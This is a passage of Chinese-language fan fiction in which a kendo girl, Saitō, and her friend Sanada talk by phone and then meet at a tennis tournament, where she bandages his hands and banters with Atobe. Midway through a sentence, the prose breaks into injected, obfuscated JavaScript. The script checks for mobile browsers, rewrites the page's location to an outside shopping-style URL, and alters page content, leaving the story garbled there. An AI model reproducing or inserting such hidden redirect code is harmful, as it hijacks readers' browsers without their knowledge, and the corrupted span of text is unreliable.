那个曾经教训自己不够上进,教训自己不能让出胜利的真田去哪里了。 “这不像你会做的事情。”斋藤强作镇定。“但是网球和剑道不一样,我完全不明白。” “我想知道你的看法。”真田问。 糟糕。 可耻。 愚蠢。 大量负面的词语堆积在斋藤的嘴边,但都被她收住了。 “……我不希望我的对手是这样的人。”斋藤语气冷淡。 “不过,你的对手会感谢你吧。” 斋藤现在就想要听到真田不服气地反驳她的讥讽,但现实是电话那头依旧沉默。 她感觉胸口开出一个空洞,期待与宿怨统统从洞口流淌出去,身体也失去支撑,变得无力。 她一直想要打倒的人,居然是这样没有骨气,没有立场的存在。 “这和我以前将比赛名额让给别人的行为有什么区别,我们可是因为这件事差点闹到绝交,你现在居然要这么做?现在你是在让我看笑话吗?” “你明明是一个做什么都会全力以赴的人。难道你要违背你的自尊去实现这个策略。你会开心吗?” 愤怒与悲哀已经不足以被连珠炮一般的叱责宣泄出来,她感觉眼泪要从眼眶流出,开始不自觉地眨起来, “你和我打电话,也是不甘心这么做吧?” “……即便你无所谓,你也要记得你对幸村做过的承诺吧。” 见自己无法撬动真田已经封闭地决意,斋藤只能搬出幸村,但这句话像是提醒了真田。 “斋藤,幸村的手术日确定了。”真田说得唐突。 “什么时候?” “和关东大赛同一天。” “这样啊。”斋藤冷漠地回应。 “你还会过来看比赛?”真田问。 斋藤没有草率地做出决定,大量信息与事务安排瞬间侵入她思考回路里,她很努力地想要将这些整齐排列,但是现在她没有那个心思。 而且最近她很忙,说不定关东大赛那天,自己要训练,或者剧组开会什么之类的,她没办法给真田做出承诺。 “我不知道。” 斋藤说。 碰巧比赛到了比赛日,斋藤这天没有什么特别安排。 斋藤穿着便服,来到赛场。比赛已经开始了,不过真田的出场被安排在了最后。 如果前面的比赛大获全胜,那么,真田也不需要去比赛了。那他也不需要去挣扎了。 ……真的很好吗? 斋藤轻轻地摇晃着脑袋,她自己都没遇过这么内耗的问题,一味空转大脑却没有解决问题的实际付出,没有任何意义。 真田君,你到底要怎么做? 斋藤十指交叉,紧紧地贴在嘴边。 “拜托,千万不要让我失望啊……” 比赛当天的晚上,斋藤给真田打电话询问幸村的状况。得知手术非常顺利,她不禁松了一口气。 “对了,恭喜你们获得关东地区地冠军!” 早在宣布比赛结束的同时,斋藤就给真田发送了贴图。不过她曾经说过,亲口说会显得更有诚意。 “你过来看比赛为什么不提前和我说。”真田没有道谢,反而抱怨起来。 “之前都约好了,我当然会过来。” “那打电话的那天你说的又是什么意思?” 那是气话。 斋藤不会这么和真田说,于是她岔开话题。 “不过,你没有尽全力对面也输了。” “你也太小看对方了,我可是全力以赴了。” “柳同意你这样?” “不知道,我是上场前说的,没时间等他的答复。” 斋藤只是发出“哎”的惊叹,她没想到真田也有这么任性的一面。 “你现在还觉得我是一个不值得一战的对手吗?”真田突然反问斋藤。 斋藤歪着头,思考真田这句话的含义。 “……我是不是可以认为真田君你是在向我发出挑战?” “我学剑道可不是为了比试。” 真田的回答让斋藤有些失望,这样她就没办法对真田进行“复仇”了。 “……不过等到我们都做了警察之后,就由不得你了。”斋藤说,这话同样也是自我安慰。 “你还记得我想当警察?” “我当然记得,你的那篇作文被当作优秀范文,还在课上朗读……” 她记得真田在课上大声朗读自己的梦想的作文,因为作文的内容过分正经,很多同学听得想打瞌睡。 “等下,你说也要当警察?”真田突然抢过话头,他慢了半拍才发觉斋藤话的意思。“我以前问你的时候,你说的可是和剑道相关的……” “你记错了,那是你说的,我只是没有否定。”虽然真田没有站在自己身边,但是斋藤还是摆了摆手。 “所以你也是‘希望能成为警察’?” “我写的是‘只要成为警察,就可以成为真田老师的学生,和真田老师学习剑道’。” “就因为这种理由?” 听到真田不屑的口气说,斋藤想,要是真田得知这一切的根源只是为了向他撒气,不知道会变成什么样。 “所以老师给我的评语是‘做警察要为他人着想’。” “……跟以前相比,你这点倒真是成长了不少。” “是嘛,那你还有七八年可以做好觉悟——和我一决胜负吧。” “……你还有七八年可以仔细考虑你的未来。” 显然真田还是认为斋藤不适合做警察。 “你怎么能这么说,我可是很认真地想成为真田老师的弟子的。” “应该还有别的吧。” “成为真田老师的弟子的其他方法……” 啊。 “没有别的方法了!没有了!”斋藤大声嚷着,她感觉自己的脑袋里差点要冒出非常可怕的想法。 “你不一定要成为祖父大人的弟子吧。” “但是成为真田老师的弟子才有机会和真田君一决胜负吧。” “说到底你还是想和我比试?”真田无奈地问。 “要比吗?” “不可能。”真田拒绝得很果断。 “我就知道,所以我一定要当警察,到那时候你就没办法拒绝我了。” “……现在还有更重要的事情要做吧。”真田提醒道,“全中,要加油啊。” “嗯,你也是!” 然后斋藤听见真田在电话那头哼了一声。 不,应该是轻笑。 而这笑声在耳朵里不断地反弹,敲击她的心脏。直到将视野重新聚焦回剧本上,她才将手机从耳边拿开。 即便如此她也没有背台词,因为她才反应过来,这是她第一次和真田在电话里进行没有结论,没有意义的闲聊。 她重新拿起手机,像是期待什么发生,也像是回忆刚才的新奇体验。 如同愿望实现般,真田发来消息。 【如果有空的话,可以来看我的比赛。】 斋藤一时不知道怎么回复,如果可以,她很希望回复“你也可以来看我的比赛”。 她没那么回复。她考虑到,在幸村身体彻底恢复之前,真田应该没有多余的时间来看她的比赛。 不过,她还是拒绝了真田地邀请。 【抱歉,最近可能去不了。】 【我明白,你也要备战。】 其实不完全是因为这个…… “我们来对台词吧,小志罗!” 排练室内,艺名为宁宁的活泼女孩,举着剧本对着休息的斋藤说。 “那我来拿手机,正好我再多休息一会。”当红偶像前田松子拿出自己的手机。 斋藤参演的《飞女侦探》是昭和末的以“麻宫纱夜”为主角的特摄,一共有三部。 女主角沿袭代号“麻宫咲夜”扮演者——前田松子是当红的全能型偶像。 精通现代科技,代号名为“忍者”的科技情报员“风间由香”,由童星出道的著名艺人宁宁扮演。 身穿学兰的戴着面具的神秘人,真实身份是委托人的千金大小姐,“矢岛京子“,由默默无闻的素人JC斋藤志罗扮演。 当斋藤第一次和两人会面时,斋藤就不禁感叹两人不愧是明星,就算是穿着平平无奇的运动装,还是能散发出耀眼的光芒。 而自己居然饰演什么高贵优雅的千金小姐,简直是太不自量力了。 作为当红艺人,两人对斋藤十分照顾。为了帮助斋藤适应拍摄,在对台词时,有一个负责用手机对着斋藤,帮助她练习适应在镜头面前自然地演绎角色。 不过他们的经纪人说,毕竟是电视台重视的重要纪念作,不能有任何疏失和瑕疵。想必经纪人眼中的疏失和瑕疵,应该只有0演艺基础的斋藤才会做出。 斋藤拿着比两人要薄上不少的剧本,集中精神与宁宁排练对手戏。 “矢岛京子”被算做是女主之一,但是其作用更多的引出主线,更多的时候是戴着面具沉默不语,这也让斋藤轻松不少。 剧方为增添悬疑感,与其他两位相比,要高出半个头的“矢岛京子”的日常装扮不会与其他两人并列站在一起。 让观众更难猜出穿着学兰的明显高出半个头的神秘人的真实身份。 “那么放送之前的发布会,我们并排站在一起,不就暴露了吗?” 斋藤抛出这个问题后,剧组方面给出了“你戴着面具不说话,那前田小姐和宁宁小姐会穿高跟鞋出席,然后你就可以下台了”这个答案。 对哦…… 新片发布会的主角一定是前田松子和宁宁,自己也只是陪衬,不需要烦恼那么多。 说到高跟鞋,对斋藤来说是相当陌生的存在,而那两位女星早已轻松驾驭。< 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除了这些工作,他们还要去阅读粉丝寄来的信件。 而她只是抽出一小部分时间,做自己本身就擅长的事。 “毕竟我们是专业的嘛,已经习惯了!”宁宁对斋藤比着大拇指。 在楼道口,三人兵分两路。前田松子和宁宁为了躲开记者会从不同的门出去,而斋藤从正门出入也不会有任何问题。 大楼外天色已黑,父亲站在正在路边等着斋藤。 上车之后,斋藤打开手机,她看见真田给她发了一条信息。 关东大赛决赛那天之后,她和真田都没有和彼此联系。 真田以为自己在努力准备全中,所以没有打扰她。 【全国大赛决赛你要来吗?】真田问。 全国大赛决赛?时间过得那么快? 她搜索全国大赛决赛的日期,发现全国大赛的赛程才过半。 【全国大赛决赛日这不是还早?】 到家后斋藤彻底清洗疲劳的身体后,打开手机查看消息。 【全中在全国大赛决赛之前,你那个时候应该拿下个人赛冠军了。】 这话算得上是捧杀了。 【我可没你那么自信……不过,借你吉言。】 斋藤回复。 【全国大赛,我会努力过去的。】 全中比赛结束后,应付完记者,斋藤的父亲从赛场直接带着斋藤赶到训练室。 刚打开门,斋藤被拉炮的声音吓了一跳。 “恭喜!” 前田松子和宁宁在训练室为她办了庆祝会。 三人拍完合照后,前田松子和宁宁在斋藤脸上贴上了可爱的图标隐藏她的身份,并在SNS上发布并附言“今天是个值得庆祝的日子”。 前田松子的经纪人负责分着蛋糕,将三个可以用迷你形容的蛋糕蛋糕块给了三人。宁宁一边流着泪一边吃蛋糕,期间还对斋藤诉苦,说只有这个时候,她和前田松子这样职业女艺人才能真的吃到蛋糕。 斋藤看着盘子里的一小块奶油蛋糕,想职业女艺人真的很不容易,她过生日的那天和真田的蛋糕要比这个要多…… 一项严肃的负责动作指导与训练老师也很开心,毕竟斋藤的冠军也有他的一份功劳。 “这段时间辛苦了,好好享受国中最后的暑假吧。” 老师给斋藤放了假。 “可暑假之后,不久开始正式拍摄了吗?”斋藤问。 “你已经做得很好了,拍摄时一定没问题的。” 这就意味着,她可以去看真田的比赛了。 她想要把这个消息告诉真田。 【恭喜你获得全中个人赛冠军。】 回到家,斋藤打开手机就收到了真田的祝贺和“干得很好”的樱花贴图, 只是斋藤没有办法全心全意地感到开心。 她其实想亲口告诉真田,自己赢了。想听真田亲口给自己道贺,而不是只发一张贴图。 发短信告诉真田她会去看决赛后,她躺在床上闭上眼睛想如果她现在就在真田的面前,真田会怎么跟自己道贺。 要不表演一下? 斋藤现在也算是准演员了,演一下自己熟悉的青梅竹马绝对是得心应手。只在自己的房间里表演,没有其他人会看见,发挥得应该会更好。 她从衣柜里拿出一顶运动帽戴在头上,深呼吸,尝试做出像真田平时颇具气势的站姿。 “‘恭喜你赢下全中’。” ……这样就可以了吗? 不对,如果此刻是真田真的站在斋藤面前,斋藤应该会说—— “‘谢谢你,真田君’。” 接下来—— “‘全国大赛你有时间来吗?’” 斋藤自然有时间过去,不过只是说“是”,对话就太无趣了。 “‘真田君你这么想和我见面?’” 反正现在没有人知道这带有逗弄意味的话是斋藤说的,现实中的她也不会对真田这么说。 “‘怎么可能?!’” 斋藤做出慌张的表情,向后退了一步后。 接着她闭起眼睛将双手放在背后,上半身向前倾,靠向不存在任何事物的空间。 “不过我可是很想……” 话说了一半,斋藤猛地摘下帽子甩到床上。 “什么嘛……真是蠢死了……” 不知什么时候,她视野模糊,脸颊也湿漉漉的。 她觉得这应该是被自己这番毫无意义的行为蠢哭了。 28. 看真田比赛 观众席的喧嚣如同海潮,在踏入观众席的一刹那便迎面扑来。 这是一个巨大的、环绕式的网球场,将下方那片荧光绿的赛场紧紧包裹。开放式露天的设计,刺目的白光干扰视线看不清观众们的表情,但无疑都对比赛充满期待。 斋藤攥紧拳头,绑着医用胶带的指尖冰凉,掌心却沁出了一层薄汗。 即便是要顶着酷暑的烈日,斋藤还是选择离赛场较近的位置。她在自己的座位上坐下,座椅也染上了太阳的温度,体温相近的感受意外地稳住她心中的波澜。她深深吸了一口气,试图平复狂跳的心脏,目光最终还是定格在了下方那个空无一人的赛场上。 不久她就能在那里再次看见他在球场上英勇不懈的身影 她拿出手机,摩擦着挂在手机上真田赠送的海人挂件,纠结着要不要跟真田发信息说一声自己已经到赛场了。 “斋藤小姐。” 听见身后传来熟悉的声音,斋藤立刻起身和对方打招呼。 “你好,迹部先生!” “你是来看比赛的吗?” “是。” “青学和立海大你支持哪一边?” 还未等斋藤开口,迹部继续说。 “说起来前一段我才去立海大,和真田打了一场,那家伙的球技还是一如往常的不优雅啊。” “原来迹部先生和真田君——” 听到这个消息的斋藤激动地将身体凑向迹部,又意识到自己似乎无意中向迹部透露与真田认识的信息,立刻捂着嘴巴。 迹部原本眼神复杂地凝望着绿色的橡胶赛场的蓝色眼睛再次看着斋藤,嘴角略微翘起,似乎嘲笑着平时冷静的斋藤居然也会这样失态,但他没有追问斋藤和真田到底是怎么认识的。 “好好享受比赛吧,那家伙今天的对手很厉害,一定是一场精彩的对局。” “好的……谢谢你,迹部先生。” 斋藤说着,看着迹部潇洒离去的背影。 第一场就是真田的比赛。 斋藤蜷起身体,抵在唇边握成拳头的手不停地颤抖。她感觉到了紧张,这是在她剑道赛场上都不会感受到情绪。 斋藤从真田背脊的笔直中读到强烈的对抗意志。球网对面,蓝白队服衬托下的手冢国光沉着如常。 真田的攻势一如其人——猛烈、决绝,像暴风直撞,像烈焰侵袭撼动那座名叫手冢的极地冰锋;而那座冰峰稳若磐石、难以撼动。 在一次次孤注一掷的进攻后,冰面终于出现裂痕,真田也为此透支到近乎失衡的边缘。 最后关头,二人同样筋疲力尽,只凭意志与呼吸支撑比赛的余波。 从此刻开始,这场比赛不靠两人去技术与体力的拼搏,已经演化成一场纯粹的意志力消磨。 真田的膝盖顶着巨大的压力,维持着一定的曲度痛苦地迈步。 手冢这边也丧失开场时的沉着冷静,用信念与坚持燃烧起自己,作为旁观者都能看出他在勉强自己抬起手臂。 最后他们双双倒地,拼命的挣扎起身。 斋藤引以为豪的坚持,在这场比试面前不足挂齿。 她已经分不清这是对网球的热爱还是对胜利的执念。 但是她祈祷着,真田可以赢下这场比赛。 比赛结束后,斋藤走到后台,来到休息室。她想看看刚才在球场彻底燃烧殆尽的真田现在的状况。 不过后台的休息室应该是“闲人免进”的。 斋藤一项守矩,她只能在赛场入口不断焦急地原地打转,直到有人叫了她的名字。 是幸村。 “你好,幸村。” 这是幸村出院后,斋藤第一次见到幸村,于是询问起他的身体状况。 “你的身体……?” “恢复得不错,已经可以打比赛了。” “那你今天也要上场比赛?” “最后一场单打由我出战——不过你在这里是为了找真田的?” 幸村投以微笑,主动转移话题 斋藤双手紧握放在胸口,轻轻点头。 “我有些担心他。” “跟我走。” 与幸村从容的步伐相比,斋藤前进的每一步都踌躇不安,像是在幸村肩上飞扬舞动的运动外套的下摆之下寻求庇护。 走到赛场和休息室分叉的拐角处,幸村让斋藤稍微等一下,他一人走进休息室,过了一会,其他人跟着幸村走出来走向赛场,但是其中没有真田。 斋藤在心中感谢着幸村,走到休息室前轻敲门。 “门没锁,进来吧。” 门另一侧真田的语气相当轻松随意,此刻的他应该不知道敲门的是斋藤,以为是折返回来的队友。 “是我,真田君。” 斋藤几乎要把耳朵贴在了门上,她不想错过门那侧的人一点反应。 可门的那头没有任何一丝声响。 正当斋藤觉得真田是不想让自己进去而准备离开时,她听见真田说“请进”。 斋藤拧开门把,慢慢地推开门。 休息室温度略低于室外,换气扇低沉地转着。白色灯光冷而刺,照得一切发白,也把这间本就逼仄的房间压得更窄;两人之间的空气随之沉下去。 真田换上长款运动服,低头坐在休息室中央的长凳上。双肘支在膝上,十指相扣用力。宽阔结实的背部把衣料绷起,肩胛饱满。即便这般略显颓唐的姿势,他的气势仍不见一丝松懈。 “你来这干什么?” 没有客套开场白和问候,真田的厉声质问里听不见对斋藤熟悉和亲近。 “恭喜你打赢了比赛!”斋藤收起担忧,装作和平时一样地精神饱满地跟真田道贺。 “这种事没必要特地过来和我说!” 真田没有领情,他身体依旧紧绷,语气急躁,或许是斋藤的不守规矩随意闯入,点燃了真田的风纪委员魂。 “……我担心你。”斋藤干脆抛下一切掩饰,将内心的诉求告诉了真田。 “不用担心我,我休息一会就可以了。” “你在球场上的那副样子,我没办法置之不理。” 谁知这句关心让真田更加烦躁了。 “——你再怎么担心也帮不了我什么。” 斋藤这才明白,真田是不想让她担心他,从而拼命地别扭地否定着斋藤关心的作用。 “手。” 斋藤想起比赛最后,真田在球场上,用手抓挠着地面起身的场景,想着他的手上会不会有擦伤。 “我可以像以前一样,帮你包手。” “可以吗?” 听到了斋藤近乎恳求的询问,真田先是抬头,用在藏在帽檐阴影之下的眼睛看着装着不去担心而挤出苦涩笑容的斋藤,然后像是投降般紧扣地双手松开,伸向斋藤。 “快点,我等会还要去看其他人的比赛。”真田催促着。 斋藤坐在真田的身旁,从包里拿出医用胶布,叮嘱着“尽量不要动”。 真田的手已经彻底清洗干净,没有 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“学姐学妹的手可不会长这么大。” 真田低头盯着空着的右手,不断地张开握拳,似乎认真地思考斋藤说的话。 忽然斋藤注意到真田左手的虎口处的疤痕不深,但形状狭长,像是某种锋利的器物划过。 真田提过自己在练拔刀术和居合,对真刀没有任何憧憬的斋藤不屑一顾。 剑道如果达不到一定的水平,真田老师是绝对不允许真田去使用真刀去练习居合。 真田其实很厉害?斋藤这样思考着,抓着真田的左手,盯着疤痕出了神。 真田轻咳了一声,将斋藤从自己的思绪中拉回来。 “……今天你的对手,感觉这名字有些耳熟。” 为了防止再次走神,斋藤主动和真田攀谈。 “手冢吗?也许是你从祖父大人口中听到的……” “难道那个人也会剑道吗?!” “不是,是祖父大人将棋上的宿敌。” “……这样啊。” 斋藤抬起头又低了下去,继续专心地包扎,但是刚刚因为兴奋挺直的背脊又放松了。 “你也不需要失望成这样吧。” “不过,我记得是从真田君你的口中听过这个名字……我想起来了,就是JR大赛之后!” “你还记得?”真田惊讶地说。 “那段时间你一直叫着‘手冢’,想不记得都难。” 那对斋藤来说算不上是好回忆,只要真田叫出“手冢”的名字,就会瞬间充满干劲,无视斋藤的存在去做自己的事情。 “其实我挺好奇的,为什么你那么在意手冢?” 她说出这个疑问后,就感觉到真田还算放松的手突然僵住了。她兀自判断真田是不想回答这个问题,于是又补充:“如果不想说也没关系。” 沉默了片刻,真田说:“他是我一直想要战胜的人。” 一直想要战胜……原来真田君也有这样的想法。 斋藤望着真田看向远处,略显惆怅的脸。 斋藤年幼时抱着的小孩子的极不成熟的想要揍人的心理和真田在少年时期想要战胜手冢,这两件事相去甚远。但她感觉这两件事是相似的,有共同之处。 因为是相似之处,所以她想要去了解。 “为什么?”斋藤问。“为什么要一直想要战胜他?” 29. 皇帝和帝王 “之前我一直觉得除了幸村,我不可能输给任何一个人……直到手冢出现打破了这幼稚想法。” “但是你不觉得一直想着打败他的同时,也会想起那个时候的感受?” “所以我要打败他,打败他后,我就不会被那种讨厌的感受给束缚住了。” 这句话犹如闪电一样,触动了斋藤最深刻的执念。 因为被打败的事实打破了自身实力的幻想。 因为喜欢剑道实事打破了单纯为了泄愤报复的想象。 自己因为羞怯选择了遗忘,而真田从未逃避。 她觉得太不公平了,就连这种事情上,真田都要比她更快一步。 斋藤想要快点和真田比试,挽回自己一点点尊严。 “——斋藤君,你绑得太紧了。” 斋藤回过神,看见真田咬紧牙齿,皱着眉头的样子,立刻撕掉胶布,拉扯到了真田的伤口。真田瞬间咬紧了牙齿,可是齿间还是发出了“嘶”的一音。她紧张地抓着真田的手指,为了能够看清细小的创口,她将真田手拉近。看到伤口没有渗出血,她放下心来,呼出一口气,真田的手也跟着抖了一下。 “痒吗?”斋藤问。 “你还打不打算帮我包扎了?”真田反问,向下拉长的嘴角表达对斋藤的一连串失误的不满。 斋藤不想因为不专注导致真田再受了一次苦,就不再和真田说话,干脆麻利地将胶布绑好。 “好了。” 斋藤点着头,满意地看着自己努力的成果。 在这段时间里,她也确定真田如他自己说的身体没有任何大碍。 “那我就先告辞了。” “斋藤君。” 斋藤起身准备离开,真田叫住了她。 “……恭喜你赢下全中个人赛冠军。” 真田说。 “你不是已经向我道贺了?” “‘当着面直接说,会更有诚意’。” 斋藤记得这是她和真田说过的话。 “嗯,也是,谢谢!” 她说完头也不回地跑出休息室。她确定自己将门阖上后,她将发软的身体倚在门上,顺着光滑的门扉向下滑,然后蹲下。她用手臂和膝盖围成一个堡垒,遮掩着自己红透的脸颊,而忽视了耳朵也沾上了同样的颜色。 “真是的,怎么突然和我说这个……我可是一点心理准备都没有……” 真田的道贺让她很开心,但同时也让她想到几天之前,自己戴着帽子,学着真田的语气跟自己说话。 为什么那个时候会对真田这句话如此渴望,为什么会做那么幼稚的事。 我真是个大笨蛋! 斋藤沉浸在无处排解的羞耻感里,直到她听见身后传来的脚步声。 如果真田开门看到自己蹲在门口,一定会问“怎么了”。到那时候,她总不能老老实实回答,因为正是真田的话,让她想起了一些难以启齿的事情。 快想想理由!快点! 可还没等脑子转出一个合适的借口,双脚就先背叛了思考。 她猛地从膝盖弯曲的蹲姿弹起,仿佛蓄势已久的兔子,一瞬间冲了出去。她不知道兔子究竟是怎么跑的,但她确信,“动如脱兔”正适合形容此刻的自己。 平时的刻苦训练,让她在“危机”时刻做出了极为明智的判断。 跑。 而在奔跑中,她意外地察觉,胸口那股闷热的羞耻和压抑正在被甩在身后。血液因为加速循环而变得滚烫,呼吸带来节奏,仿佛身体的律动把郁结的情绪一同冲散。 原来,奔跑不仅是逃避,更像是一种释放。积压在心里的情绪在肌肉的用力和汗水的蒸腾里,逐渐找到了出口。 “——果然不能松懈啊!” 她在心里给自己下了结论。 总之,先跑到能把这件事彻底放下为止。 斋藤高估了跑步的威力。 她只要觉得差不多了,停下脚步,喜悦和羞耻感又会参与进思考。 不过一路跑下来,将所有的能量倾注在身体上,不去给大脑供给养分,大脑想的只有停下来休息这一件事了。这样也算是达成目的了。 斋藤明明不是来打网球的,却和来打比赛的一样气喘吁吁的,靠着自动贩卖机买水。 如果休息后还继续纠结,那么就再跑一圈—— “喂,迹部大人在后面的练习场上和青学的选手打网球。” “还有很多人在那里,连立海大的真田也在。” 听到真田的名字,斋藤心头一颤,捏紧水瓶向交谈的人群的方向看去。 她知道真田的体力槽没有尽头,但才休息过又打网球了,还是多少让她担心。 她决定稍微休息一下再过去看看。 斋藤扶着场边的铁丝网,就算刚才休息了片刻,疲劳还残留在细胞里,每一步都沉重得如同踩在泥沼里。 场内,真田和迹部刚结束交谈,似乎正准备离开。 隔着一段距离,她能看到真田的背影,状态看上去比现在的自己要好上太多。斋藤悄然松了口气,只要他没事就好。她悄悄地、只想再多看一眼,然后就离开。 然而,迹部的身后仿佛背后长了眼睛,他的声音穿透空气,精准地锁定了她。 “斋藤小姐。” 他的声线平稳,却带着不容忽视的存在感,像是离弦之箭将斋藤的身体钉在原地。 在两道追究的视线下,斋藤只能用蹒跚的步伐移动过去。 “发生什么事了?”迹部的眼力何其锐利,他上下打量着斋藤狼狈的模样,嘴角勾起一丝探究的弧度,“你这副样子,可不像平时的你。” “我跑步去了。”斋藤答。 这个回答,让场上两位顶尖选手的脸上,同时浮现出一种“你在说什么蠢话”的困惑神情。 “其他人在比赛,你却在外面跑步?” 真田向前,那份属于立海大副部长的压迫感扑面而来,胁迫着斋藤给出合理的答案。这句质问本身,就是是在指责她对比赛、对“网球”这项运动本身缺乏尊重。 迹部轻笑一声,他看出了真田的怒气,也看出了斋藤的窘迫,饶有兴致地补充道,“本大爷也好奇剑道部的人在网球赛场跑步的理由是什么。” 在两道视线的双重夹击下,斋藤的头脑一片空白,那个因尴尬而奔跑的真实理由无论如何都说不出口。她只能避开他们的目光,挤出一个连自己都无法相信的借口: “——因为我突然想起来,今天还没完成日常的跑步训练!” 听到这话,两人非但没有任何不悦,还同时笑了,不过真田的豪快笑声压过了迹部从鼻子发出短促的带着笑意音节。 真田这样的笑声着实把斋藤吓了一跳 “不愧是剑道部的主将,对自己要求真严格啊。” “没有一点懈怠,不错!” “斋藤小姐。” 迹部眯眼,单边嘴角挑高,看着真田,却向斋藤问道:“你之前特意请教我就是为了他?你直接问我这家伙用的什么牌子的球拍不就好?” “我那时还不知道迹部先生认识真田君。” “认识?去年的训练营本大爷可是在网球场上有好好关照过他,姑且算是认识吧。” “前一段时间你还跑到立海大来专程找我挑战。” “是吗,本大爷对必胜的对局没什么印象。” 看着迹部挑衅的得意笑容,斋藤不明白迹部为什么要这么说,明明比赛之前迹部还亲口跟她说过这件事。但是她很识趣地没有插话。 “斋藤小姐,真田他绝对习惯不了本大爷推荐的球拍,看来你的心意要被辜负了。”迹部转而对斋藤惋惜地说。 “我也没打算用。” “真田,当着送礼的人的面说这种话,你也太过分了。” “斋藤君一定会理解我说的。” “……真田,我觉得斋藤小姐应该不喜欢你用那种称呼叫她。” 并不会。 斋藤在内心驳斥迹部的说法。 “你根本不了解她。”真田双手抱臂,语气相当强势。 “这种事情本大爷才不在乎,不过,你觉得你真的了解吗?” 迹部抛给真田的问题,却让斋藤陷入沉思。 了解…… 至少真田绝对不知道她因为不值一提的幼稚理由,想要挑战他的想法…… 不,这种事情现在一点也不重要! 眼前两人由“还能交流”,到“寸步不让”,只隔了几句话。 而导火索,竟是因为她的存在。 她必须要阻止两人—— “喂,斋藤君。”真田瞪着迹部,转而用命令的口吻叫着斋藤,“止汗喷雾你带了吗?我可不想错过幸村和青学小鬼的比赛。” “哎,那个,可是……” 斋藤有些犹豫,她用的止汗喷雾是带香味的,虽然味道不是很浓烈,但是她觉得偏硬汉风格的真田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487302|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该没办法接受。 “你没有带吗?” “……带倒是带了。” “给我。” 斋藤从包里拿出喷雾,将香型的标签展示给真田看,真田似乎没注意到毫不犹豫地拿过去,摇晃了两下,打开瓶盖然后对着自己的身体用力按着喷雾。 出乎斋藤意料的是,真田没有在意喷雾的香气,他像是泄愤一样用力地压着喷头。 喷洒动作流畅自然到会觉得这就是真田平日也在用的止汗喷雾。 只不过斋藤感觉真田会故意地往迹部的方向喷,这一行为行为让真田手里的喷雾更像是驱虫剂。而不知什么时候,迹部早已站在喷雾的范围之外。 “本大爷去看比赛了,你们慢慢闹吧。” 真田一直瞪着迹部离去的背影,手指还是没有松开。当迹部的身影彻底消失在赛场入口的阴影后,他才抬起手指,将喷雾还给斋藤。 斋藤感到喷雾的重量少了不少,好在这款喷雾香味并不是很重,不用担心真田变成移动的香薰机。 “真田君,没想到你和迹部先生的关系挺好的。” “一点也不好!倒是你们俩的关系好过头了。” 真田将烦躁的矛头指向了斋藤。 “是吗?不过绝对比不上和真田君的关系。” 斋藤不动声色地捧高真田在自己心中的位置,变相地安抚真田的情绪。 “不要把我和才认识的人比。” 真田的呛声让斋藤确信迹部和真田的关系是真的不好。 “那你告诉我你喜欢用什么牌子的球拍啊?我到现在也不知道真田君用的是哪个牌子的。” 面对这凭空冒出的问题,真田皱眉。 “你为什么对这个问题这么执着?” “我知道才认识的人用的,却还不知道你的。” 因为情绪上头没办法冷静思考,暂时找不出别的理由真田只能不情愿地将网球拍递到斋藤的面前,将球拍的LOGO展示在斋藤面前。 “你千万不要再买网球拍给我了。”真田用严肃的语气告诫斋藤。 “我知道了。” 斋藤凑上前看,然后她闻到了真田身上止汗喷雾的味道。 虽然是同款香型,但真田让这股香味有了不同的质感。原本低调清凉的气息在他身上产生一种厚重张扬的力量感。 当初因为这个香味比较低调,斋藤才选择这个。她为了确认稍微贴近真田,更加仔细地确认着味道。 有点不一样,不过她不讨厌现在这股在真田身上的香味。 “为什么要贴着我?” 斋藤这才发现她把脸凑近到了算是亲密的距离。 “香味感觉有些不一样……”斋藤说出了感想。 “很糟糕?”真田停下脚步,微微皱眉并用手抵着额头,一脸懊恼。 “不,很合适,很有男子气概。” 听到这样的褒奖,真田立刻振作。 “我一直很有男子气概,是你太迟钝了。” 斋藤无奈地澄清:“我是说这香味在你身上才有男子气概,在我身上根本体现不出来。” 真田怔了一瞬,眼神微微闪烁,没再说话。片刻后,他忽然说:“……我要去看比赛了。” 声音听似平淡,却带着明显的局促。 真田把斋藤撇在原地,独自朝球场后台入口快步走去。 毕竟是幸村的比赛,也是立海大“三连霸”的最终一战,真田这般匆忙也就理所当然了。 斋藤不禁羡慕幸村。 如果真田也愿意来看我的比赛就好了。 ——以后试着邀请他一次吧。 回到观众席,斋藤并没有专注于场上的攻防,她的视线全程黏在两位选手手里的球拍上。 她握着真田送的竹刀拿下过全中冠军,可真田却把她送的网球拍丢在一边吃灰。 太不公平了。 她的心和眉梢一起拧紧。 明知真田已经强调过别乱来,斋藤仍决定再买一支更合他手的球拍送过去,让真田用她的球拍打出成绩。 只是照他那脾气,多半不会领情,还要训她“听不进别人说的话”。 那就换个办法。 先在剑道上打败他,再把“接受我新买的球拍”定为惩罚,败者没有讨价还价的资格,这个道理,真田应该懂。 斋藤飞快盘点起接下来几天的安排,似乎还有空档。她下定决心,向真田发出挑战。 30. 冰棍 当天晚上,斋藤在餐桌上对父母开口:“我想一个人回神奈川待两天。” “为了见真田家小儿子?” “找弦一郎玩?” 两人几乎同时发问,随即对视。父亲在母亲的气场下败下阵来,低头继续吃饭;谈话的主导权自然落在家中“女王”手里。 母亲放下筷子,语气平静却锋利:“志罗,我一直不明白。他当年那件事伤你那么深,到现在也没正面补偿。可你还把他当最好的朋友……你是不是把自己的位置摆得太低了?” 父亲忍不住抬头,小声替真田辩解:“我总觉得有误会,弦一郎不像会那样的孩子……” 母亲斜睨过去:“我相信自己的女儿。” 餐桌上的氛围瞬间变得微妙。父亲缩到桌角,母亲却仍以气场逼近,逼着父亲无条件站在女儿这一边。 斋藤开口,打断了绷紧的对峙:“妈妈,我这次回去,就是为了把那件事了断。我会问清楚,如果不是误会,我会让真田君付出代价。” 母亲怔了一瞬,随即露出赞许的笑意,肩膀也松下来,继续从容用餐。父亲反而更担心了:“一个人,没问题吗?” 斋藤点头,对父亲露出自信的笑:“没事的。我会和真田君把事情好好解决。” 